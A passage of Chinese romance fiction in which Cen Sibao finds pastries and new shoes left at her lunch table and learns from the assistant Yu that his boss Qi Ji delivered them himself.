岑似宝呛了一口,“这么抠门反倒受人喜欢?” 她浑身起鸡皮疙瘩,“那丁耀光岂不是能成为万人迷了。” 张曼:“……这个顾总除了少部分失心疯时,大部分时候都很大方。我觉得外貌和经济因素,应该还是比较重要的。” 提起外貌,岑似宝顿了顿,不知怎么就想起了祁迹。 相比张曼所说的那位大受欢迎的顾总,还是祁迹的长相更符合她的审美。 岑似宝吃饭很慢,张曼一边看综艺一边等她。 直到餐厅里人越来越少了,岑似宝才吃完。 两人去洗手间洗了手,出来回到座位,正准备拿上手机离开,却愣住了。 桌上放着两只包。 两人面面相觑,“他们这儿吃完饭还有大礼包赠送?” 岑似宝莫名地走上前,看了眼包,第一只是保温袋,打开来,油润香酥扑鼻而来。 外包装上,写着联记两字。 另一只里头则装着一双崭新的鞋,还有冰敷的东西。 张曼扫了一圈,悠悠说:“哦,看来没有我的份,是特定人群的惊喜礼包啊。” 她两手抱怀:“呀,联记,很远的呢。” 岑似宝不自在地抿抿唇,朝周围看了一眼,并没有发现祁迹的踪影。 却看到了正朝这里走来的余助理。 看看他,再看看桌上的包,岑似宝明白了,嘴角高度立时降了下来。 “岑小姐。”余助理朝她打招呼,“午餐还满意吗?” 她下巴朝着桌上的包指了指,“谢谢你了,但是这个,我不要。” 余助理茫然了一下,也看了一眼,“为什么?” 她眼睫垂下:“因为天下霸总一般黑。” “要么就特别抠门,要么就喜欢麻烦自己的助理,在休息时间跑那么远,只为了帮自己代献殷勤,黑心上司!” 痛批完,岑似宝转身就要走。 “等会儿,岑小姐。”余助理推了推黑框眼镜,喊住了她,“我想,你可能误会了什么。” “我们祁总,跟别的那些妖艳霸总不一样。” 岑似宝不可置信地转过脸来。 看着余助理那张每一个五官都在诉说着木讷、正经的脸,她以为自己听错了:“你说妖什么?” 余助理顶着面瘫脸,继续说:“无关工作的私事,祁总基本不会占用助理们的时间,一向亲力亲为——尤其是关于您的事。” “这份点心,还有鞋子,我并不知情,更不是我送来的。要谢的话,请您去谢祁总吧。”